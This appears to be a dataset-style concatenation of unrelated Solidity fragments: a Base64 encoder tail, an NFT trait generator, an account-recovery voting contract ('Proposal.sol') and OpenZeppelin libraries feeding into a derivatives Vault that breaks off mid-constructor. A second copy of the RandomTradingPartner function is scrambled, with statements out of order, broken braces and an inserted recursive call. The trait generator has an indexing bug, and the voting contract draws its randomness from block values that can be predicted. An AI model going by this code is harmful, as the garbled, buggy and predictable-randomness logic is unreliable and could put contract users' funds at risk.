((data.length + 2) / 3)); assembly { // Prepare the lookup table (skip the first "length" byte) let tablePtr := add(table, 1) // Prepare result pointer, jump over length let resultPtr := add(result, 32) // Run over the input, 3 bytes at a time for { let dataPtr := data let endPtr := add(data, mload(data)) } lt(dataPtr, endPtr) { } { // Advance 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // To write each character, shift the 3 bytes (18 bits) chunk // 4 times in blocks of 6 bits for each character (18, 12, 6, 0) // and apply logical AND with 0x3F which is the number of // the previous character in the ASCII table prior to the Base64 Table // The result is then added to the table to get the character to write, // and finally write it in the result pointer but with a left shift // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) // Advance mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) // Advance mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F)))) resultPtr := add(resultPtr, 1) // Advance mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F)))) resultPtr := add(resultPtr, 1) // Advance } // When data `bytes` is not exactly 3 bytes long // it is padded with `=` characters at the end switch mod(mload(data), 3) case 1 { mstore8(sub(resultPtr, 1), 0x3d) mstore8(sub(resultPtr, 2), 0x3d) } case 2 { mstore8(sub(resultPtr, 1), 0x3d) } } return result; } }
generate a new trait until one is found that doesn't conflict
function generateProperties(uint256 randomVal, uint256 tokenId) external view returns(SafariToken.Metadata memory) { SafariToken.Metadata memory newData; PartInfo storage _partInfo; uint256 trait; uint256 i; for (i=0; i<partInfo.length; i++) { _partInfo = partInfo[i]; trait = genPart(i, randomVal); newData.setProperty(_partInfo.fieldOffset, _partInfo.fieldSize, trait); randomVal >>= 8; } PartCombo storage combo; for (i=0; i<mandatoryCombos.length; i++) { combo = mandatoryCombos[i]; _partInfo = partInfo[combo.part1]; if (newData.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize) != combo.trait1) { continue; } _partInfo = partInfo[combo.part2]; if (newData.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize) != combo.traits2[0]) { newData.setProperty(_partInfo.fieldOffset, _partInfo.fieldSize, combo.traits2[0]); } } uint256 j; bool bad; for (i=0; i<forbiddenCombos.length; i++) { combo = forbiddenCombos[i]; _partInfo = partInfo[combo.part1]; if (newData.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize) != combo.trait1) { continue; } _partInfo = partInfo[combo.part2]; trait = newData.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize); while (true) { bad = false; for (j=0; j<combo.traits2.length; j++) { if (trait == combo.traits2[i]) { bad = true; break; } } if (!bad) { break; } trait = genPart(combo.part2, randomVal); newData.setProperty(_partInfo.fieldOffset, _partInfo.fieldSize, trait); randomVal >>= 8; } } return newData; }
1,304,112
/* Proposal.sol */ pragma solidity >=0.4.0 <0.7.0; import "../contracts/Person.sol"; import "../contracts/UserManager.sol"; import "../contracts/Set.sol"; import "../contracts/VotingToken.sol"; import "../contracts/TransactionDataSet.sol"; /* <Summary> This contract manages one active proposal: Pays for proposal, Adds indicated trade partners, finds random voters, manages transaction data, casts votes, tallies votes, and give rewards */ contract Proposal { using Set for Set.AddressData; // Set of addresses using VotingToken for VotingToken.Token; // Voting token // Struct full of transaction data using TransactionDataSet for TransactionDataSet.DataSet; // Map of lists of transaction data. [voter] -> list of data mapping (address => TransactionDataSet.DataSet[]) transactionDataSets; // Map of voting tokens. [voter] -> voting token mapping (address => VotingToken.Token) votingtokens; Set.AddressData voters; // Addresses who are eligible to vote Set.AddressData archivedVoters; // Archived voters from past proposals address[] haveTradedWith; // all of old accounts trading partners address public lastOtherPartner; // Last randomly selected voter uint numberOfVoters; // Number of required voters uint public price; // Price of the account recovery uint startTime; // The start of voting uint8 VotingTokensCreated; // Number of Voting tokens created uint8 randomVoterVetos = 3; // Number of vetos left bool paided; // If the user has paid yet constructor(uint _price) public { price = _price; // Price of the proposal } // Allows the new account to pay for the proposal function Pay(Person _newAccount) external { require(_newAccount.balance() >= price, "Not Enough funds for this Proposal"); _newAccount.decreaseBalance(price); // Removes money from the new account paided = true; // The proposal has been paid for } function AddTradePartners(address _newAccount, address _oldAccount, address[] calldata _tradePartners, address[] calldata _archivedVoters, TransactionManager TMI, ProposalManager PMI) external { // Checks that the new account has paid require(paided, "This proposal has not been paid for yet"); // Creates the archivedVoters set for (uint i = 0; i < _archivedVoters.length; i++){ archivedVoters.insert(_archivedVoters[i]); } // Checks given trade partners and sets them as voters for (uint i = 0; i < _tradePartners.length; i++){ // For each given partner // The new account can not be a voter if (_newAccount != _tradePartners[i]){ // Checks if the trade partner is black listed if (!PMI.getBlacklistedAccount(_tradePartners[i])){ // Makes sure they are actually trade partners if (TMI.NumberOfTransactions(_oldAccount, _tradePartners[i]) > 0){ // Voter was a voter in a past proposal for this account if (!archivedVoters.contains(_tradePartners[i])){ // Has not already been indicated as a trade partner if (!voters.contains(_tradePartners[i])){ // Make the trade partner a voter voters.insert(_tradePartners[i]); } } } } } } /* // Requires at least 3 indicated valid voters require(voters.getValuesLength() >= 2, "Invalid Number of indicated trade partners"); */ // Requires a maximum of 3 invlaid indicated trade partners require(_tradePartners.length - voters.getValuesLength() < 3, "You indicated too many invalid trade partners"); // Sets the required number of voters numberOfVoters = voters.getValuesLength() * 2; if (numberOfVoters < 5){ // Requires at least 5 voters numberOfVoters = 5; } // Finds all of the old accounts's trade partners address[] memory _haveTradedWith = TMI.getHaveTradedWith(_oldAccount); // Checks if these trade partners are valid to be randomly selected voters for (uint i = 0; i < _haveTradedWith.length; i++){ // For each address // The new account can not be a voter if (_newAccount != _haveTradedWith[i]){ // The were not already indicated as a voter if (!voters.contains(_haveTradedWith[i])){ // They were not a voter in a past proposal for this account if (!archivedVoters.contains(_haveTradedWith[i]) ){ // This address is an eligible voter haveTradedWith.push(_haveTradedWith[i]); } } } } require(haveTradedWith.length >= numberOfVoters - voters.getValuesLength(), "Invalid number of other trade partners"); // Find the first randomly selected voter RandomTradingPartner(true); randomVoterVetos++; } // Adds last randomly selected voter and finds the next one function RandomTradingPartner(bool _veto) public { require(numberOfVoters != 0, "Trade partners have not been added to this yet proposal"); // The new account remembers their transaction with this account if (!_veto){ // This voter has not already been added to be a voter require(!voters.contains(lastOtherPartner), "Already added that address"); // Makes the selected trade partner a voter voters.insert(lastOtherPartner); }else{ randomVoterVetos--; } // Select another trade partner randomly if (voters.getValuesLength() != numberOfVoters){ // Needs to find more partners require(randomVoterVetos >= 0, "Can not veto any more randomly selected voters"); require(haveTradedWith.length >= numberOfVoters - voters.getValuesLength(), "Can not veto this voter because there is not enough trade partners left"); // Finds a random index in the haveTradedWith array uint index = random(lastOtherPartner, haveTradedWith.length); // Finds the randomly selected trade partner lastOtherPartner = haveTradedWith[index]; // Remove this trade partner from the list for (uint i = index; i < haveTradedWith.length - 1; i++){ haveTradedWith[i] = haveTradedWith[i+1]; // Shift other address } delete haveTradedWith[haveTradedWith.length-1]; // Remove address haveTradedWith.length--; // Reduce size } } // Add set of data for a give transaction for a give voter function AddTransactionDataSet(address _voter, uint _timeStamp, uint _amount, string calldata _description, string calldata _importantNotes, string calldata _location, string calldata _itemsInTrade) external { // If this is the first set transaction data being added for this voter if (transactionDataSets[_voter].length == 0){ // Create a voting token for this voter votingtokens[_voter] = VotingToken.Token(0, false, false); VotingTokensCreated++; // If all voters are able to vote now if (VotingTokensCreated == voters.getValuesLength()){ startTime = block.timestamp; // Start the timer on the voters } } // Create the data set and add it to the list for this voter transactionDataSets[_voter].push(TransactionDataSet.DataSet( _description, _importantNotes, _location, _itemsInTrade, _timeStamp, _amount)); } // View public information on a set of data for a transaction function ViewPublicInformation( address _voter, uint i) external view returns (uint, uint) { // Require that all voters are able to voter require(VotingTokensCreated == voters.getValuesLength(), "Have not created all the VotingTokens"); // Return transaction data return transactionDataSets[_voter][i].ViewPublicInformation(); } // View private information on a set of data for a transaction function ViewPrivateInformation( address _voter, uint i) external view returns (string memory, string memory, string memory, string memory) { // Require that all voters are able to voter require(VotingTokensCreated == voters.getValuesLength(), "Have not created all the VotingTokens"); // Return transaction data return transactionDataSets[_voter][i].ViewPrivateInformation(); } // Casts a vote function CastVote(address _voter, bool choice) external { // Require that all voters are able to voter require(VotingTokensCreated == voters.getValuesLength(), "Have not created all the VotingTokens"); votingtokens[_voter].CastVote(_voter, choice); // Casts the vote } // Give rewards to voters and return the outcome of the vote function ConcludeProposal(uint vetoTime, UserManager UMI) external returns (int){ // Require that all voters are able to voter require(VotingTokensCreated == voters.getValuesLength(), "Have not created all the VotingTokens"); // Require that enough time has passed for the old account to veto an attack if (vetoTime > block.timestamp - startTime){ return -1; } uint total = 0; // Total number of votes uint yeses = 0; // Total number of yesses uint totalTimeToVote = 0; // Total time used to vote // Counts votes and find the time required for all voters to vote for (uint i = 0; i < voters.getValuesLength(); i++) { // Goes through all voters // Get voting token for voter VotingToken.Token storage temp = votingtokens[voters.getValue(i)]; // Incroment totalTimeToVote by the amount of time used by the voter totalTimeToVote += temp.getVotedTime(); // Count votes if (temp.getVoted()){ // They are a voter and they voted total++; // Incroment the total number of votes if (temp.getVote()){ // They are a voter and they voted yes yeses++; // Incroment the number of yesses } } } // Requires a certain number of voters to vote before concluding the vote if (total < (numberOfVoters*3)/4){ // If enough time has passed allow a revote if (block.timestamp - startTime > 172800){ return 60; } return -2; // Require more votes } bool outcome = (100*yeses) / total >= 66; // The outcome of the vote // Factors used in determining the requare for voters uint participationFactor = 2; // Participation factor uint correctionFactor = 2; // Correction factor uint timeFactor = 1; // Time factor // Average time used to vote uint averageTimeToVote = totalTimeToVote / total; // Rewards voters for (uint i = 0; i < voters.getValuesLength(); i++) { // Goes through all voters // Get voting token for voter VotingToken.Token storage temp = votingtokens[voters.getValue(i)]; if (temp.getVoted()){ // If the voter has voted // Reward for participating uint amount = (price / participationFactor) / total; // They voted correctly if (outcome == temp.getVote()){ if (outcome){ // Yes was the correct vote // Reward for voting correctly amount += (price / correctionFactor) / yeses; }else{ // No was the correct vote // Reward for voting correctly amount += (price / correctionFactor) / (total-yeses); } } // Reward based on the time used to vote // If they took less time than average they gain more money amount += (averageTimeToVote - temp.getVotedTime()) / timeFactor; if (amount > 0){ // The user actually did get a reward // Increases balance of the voter UMI.getUser(voters.getValue(i)).increaseBalance(amount); } } } return int((100*yeses) / total); // Return outcome of vote } // Generate random number using an address function random(address address1, uint size) private view returns (uint8) { return uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, address1, gasleft()))) % size); // return uint8(uint256(keccak256(abi.encodePacked(block.difficulty, block.coinbase, address1, gasleft()))) % size); } // Return voters function getVoters() external view returns (address[] memory){ return voters.getValues(); } // Returns true is an address is a voter function ContainsVoter(address _voter) external view returns (bool) { return voters.contains(_voter); } }
Adds last randomly selected voter and finds the next one The new account remembers their transaction with this account
function RandomTradingPartner(bool _veto) public { require(numberOfVoters != 0, "Trade partners have not been added to this yet proposal"); RandomTradingPartner(true); if (!_veto){ require(!voters.contains(lastOtherPartner), "Already added that address"); voters.insert(lastOtherPartner); randomVoterVetos--; } "Can not veto any more randomly selected voters"); require(haveTradedWith.length >= numberOfVoters - voters.getValuesLength(), "Can not veto this voter because there is not enough trade partners left"); }else{ require(randomVoterVetos >= 0, uint index = random(lastOtherPartner, haveTradedWith.length); lastOtherPartner = haveTradedWith[index]; for (uint i = index; i < haveTradedWith.length - 1; i++){ } }
12,962,335
// File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/utils/Pausable.sol pragma solidity ^0.6.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: contracts/tokens/EIP20NonStandardInterface.sol pragma solidity 0.6.12; /// @title EIP20NonStandardInterface /// @dev Version of ERC20 with no return values for `transfer` and `transferFrom` /// See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca interface EIP20NonStandardInterface { /// @notice Get the total number of tokens in circulation /// @return The supply of tokens function totalSupply() external view returns (uint256); /// @notice Gets the balance of the specified address /// @param owner The address from which the balance will be retrieved /// @return balance The balance function balanceOf(address owner) external view returns (uint256 balance); // // !!!!!!!!!!!!!! // !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification // !!!!!!!!!!!!!! // /// @notice Transfer `amount` tokens from `msg.sender` to `dst` /// @param dst The address of the destination account /// @param amount The number of tokens to transfer function transfer(address dst, uint256 amount) external; // // !!!!!!!!!!!!!! // !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification // !!!!!!!!!!!!!! // /// @notice Transfer `amount` tokens from `src` to `dst` /// @param src The address of the source account /// @param dst The address of the destination account /// @param amount The number of tokens to transfer function transferFrom(address src, address dst, uint256 amount) external; /// @notice Approve `spender` to transfer up to `amount` from `src` /// @dev This will overwrite the approval amount for `spender` /// and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) /// @param spender The address of the account which may transfer tokens /// @param amount The number of tokens that are approved /// @return success Whether or not the approval succeeded function approve(address spender, uint256 amount) external returns (bool success); /// @notice Get the current allowance from `owner` for `spender` /// @param owner The address of the account which owns the tokens to be spent /// @param spender The address of the account which may transfer tokens /// @return remaining The number of tokens allowed to be spent function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } // File: contracts/IDerivativeSpecification.sol pragma solidity >=0.4.21 <0.7.0; /// @title Derivative Specification interface /// @notice Immutable collection of derivative attributes /// @dev Created by the derivative's author and published to the DerivativeSpecificationRegistry interface IDerivativeSpecification { /// @notice Proof of a derivative specification /// @dev Verifies that contract is a derivative specification /// @return true if contract is a derivative specification function isDerivativeSpecification() external pure returns(bool); /// @notice Set of oracles that are relied upon to measure changes in the state of the world /// between the start and the end of the Live period /// @dev Should be resolved through OracleRegistry contract /// @return oracle symbols function oracleSymbols() external view returns (bytes32[] memory); /// @notice Algorithm that, for the type of oracle used by the derivative, /// finds the value closest to a given timestamp /// @dev Should be resolved through OracleIteratorRegistry contract /// @return oracle iterator symbols function oracleIteratorSymbols() external view returns (bytes32[] memory); /// @notice Type of collateral that users submit to mint the derivative /// @dev Should be resolved through CollateralTokenRegistry contract /// @return collateral token symbol function collateralTokenSymbol() external view returns (bytes32); /// @notice Mapping from the change in the underlying variable (as defined by the oracle) /// and the initial collateral split to the final collateral split /// @dev Should be resolved through CollateralSplitRegistry contract /// @return collateral split symbol function collateralSplitSymbol() external view returns (bytes32); /// @notice Lifecycle parameter that define the length of the derivative's Minting period. /// @dev Set in seconds /// @return minting period value function mintingPeriod() external view returns (uint); /// @notice Lifecycle parameter that define the length of the derivative's Live period. /// @dev Set in seconds /// @return live period value function livePeriod() external view returns (uint); /// @notice Parameter that determines starting nominal value of primary asset /// @dev Units of collateral theoretically swappable for 1 unit of primary asset /// @return primary nominal value function primaryNominalValue() external view returns (uint); /// @notice Parameter that determines starting nominal value of complement asset /// @dev Units of collateral theoretically swappable for 1 unit of complement asset /// @return complement nominal value function complementNominalValue() external view returns (uint); /// @notice Minting fee rate due to the author of the derivative specification. /// @dev Percentage fee multiplied by 10 ^ 12 /// @return author fee function authorFee() external view returns (uint); /// @notice Symbol of the derivative /// @dev Should be resolved through DerivativeSpecificationRegistry contract /// @return derivative specification symbol function symbol() external view returns (string memory); /// @notice Return optional long name of the derivative /// @dev Isn't used directly in the protocol /// @return long name function name() external view returns (string memory); /// @notice Optional URI to the derivative specs /// @dev Isn't used directly in the protocol /// @return URI to the derivative specs function baseURI() external view returns (string memory); /// @notice Derivative spec author /// @dev Used to set and receive author's fee /// @return address of the author function author() external view returns (address); } // File: contracts/collateralSplits/ICollateralSplit.sol pragma solidity 0.6.12; /// @title Collateral Split interface /// @notice Contains mathematical functions used to calculate relative claim /// on collateral of primary and complement assets after settlement. /// @dev Created independently from specification and published to the CollateralSplitRegistry interface ICollateralSplit { /// @notice Proof of collateral split contract /// @dev Verifies that contract is a collateral split contract /// @return true if contract is a collateral split contract function isCollateralSplit() external pure returns(bool); /// @notice Symbol of the collateral split /// @dev Should be resolved through CollateralSplitRegistry contract /// @return collateral split specification symbol function symbol() external pure returns (string memory); /// @notice Calcs primary asset class' share of collateral at settlement. /// @dev Returns ranged value between 0 and 1 multiplied by 10 ^ 12 /// @param _underlyingStartRoundHints specify for each oracle round of the start of Live period /// @param _underlyingEndRoundHints specify for each oracle round of the end of Live period /// @return _split primary asset class' share of collateral at settlement /// @return _underlyingStarts underlying values in the start of Live period /// @return _underlyingEnds underlying values in the end of Live period function split( address[] memory _oracles, address[] memory _oracleIterators, uint _liveTime, uint _settleTime, uint[] memory _underlyingStartRoundHints, uint[] memory _underlyingEndRoundHints) external view returns(uint _split, int[] memory _underlyingStarts, int[] memory _underlyingEnds); } // File: contracts/tokens/IERC20MintedBurnable.sol pragma solidity 0.6.12; interface IERC20MintedBurnable is IERC20 { function mint(address to, uint256 amount) external; function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; } // File: contracts/tokens/ITokenBuilder.sol pragma solidity 0.6.12; interface ITokenBuilder { function isTokenBuilder() external pure returns(bool); function buildTokens(IDerivativeSpecification derivative, uint settlement, address _collateralToken) external returns(IERC20MintedBurnable, IERC20MintedBurnable); } // File: contracts/IFeeLogger.sol pragma solidity >=0.4.21 <0.7.0; interface IFeeLogger { function log(address _liquidityProvider, address _collateral, uint _protocolFee, address _author) external; } // File: contracts/IPausableVault.sol pragma solidity 0.6.12; interface IPausableVault { function pause() external; function unpause() external; } // File: contracts/Vault.sol pragma solidity 0.6.12; /// @title Derivative implementation Vault /// @notice A smart contract that references derivative specification and enables users to mint and redeem the derivative contract Vault is Ownable, Pausable, IPausableVault, ReentrancyGuard { using SafeMath for uint256; using SafeMath for uint8; uint256 public constant FRACTION_MULTIPLIER = 10**12; enum State { Created, Minting, Live, Settled } event StateChanged(State oldState, State newState); event MintingStateSet(address primaryToken, address complementToken); event LiveStateSet(); event SettledStateSet(int256[] underlyingStarts, int256[] underlyingEnds, uint256 primaryConversion, uint256 complementConversion); event Minted(uint256 minted, uint256 collateral, uint256 fee); event Refunded(uint256 tokenAmount, uint256 collateral); event Redeemed(uint256 tokenAmount, uint256 conversion, uint256 collateral, bool isPrimary); /// @notice vault initialization time uint256 public initializationTime; /// @notice start of live period uint256 public liveTime; /// @notice end of live period uint256 public settleTime; /// @notice redeem function can only be called after the end of the Live period + delay uint256 public settlementDelay; /// @notice underlying value at the start of live period int256[] public underlyingStarts; /// @notice underlying value at the end of live period int256[] public underlyingEnds; /// @notice primary token conversion rate multiplied by 10 ^ 12 uint256 public primaryConversion; /// @notice complement token conversion rate multiplied by 10 ^ 12 uint256 public complementConversion; /// @notice protocol fee multiplied by 10 ^ 12 uint256 public protocolFee; /// @notice limit on author fee multiplied by 10 ^ 12 uint256 public authorFeeLimit; // @notice protocol's fee receiving wallet address public feeWallet; // @notice current state of the vault State public state; // @notice derivative specification address IDerivativeSpecification public derivativeSpecification; // @notice collateral token address IERC20 public collateralToken; // @notice oracle address address[] public oracles; address[] public oracleIterators; // @notice collateral split address ICollateralSplit public collateralSplit; // @notice derivative's token builder strategy address ITokenBuilder public tokenBuilder; IFeeLogger public feeLogger; // @notice primary token address IERC20MintedBurnable public primaryToken; // @notice complement token address IERC20MintedBurnable public complementToken; constructor( uint256 _initializationTime, uint256 _protocolFee, address _feeWallet, address _derivativeSpecification, address _collateralToken, address[] memory _oracles, address[] memory _oracleIterators, address _collateralSplit, address _tokenBuilder, address _feeLogger, uint256 _authorFeeLimit, uint256 _settlementDelay ) public { require(_initializationTime > 0, "Initialization time"); initializationTime = _initializationTime; protocolFee = _protocolFee; require(_feeWallet != address(0), "Fee wallet"); feeWallet = _feeWallet; require(_derivativeSpecification != address(0), "Derivative"); derivativeSpecification = IDerivativeSpecification(_derivativeSpecification); require(_collateralToken != 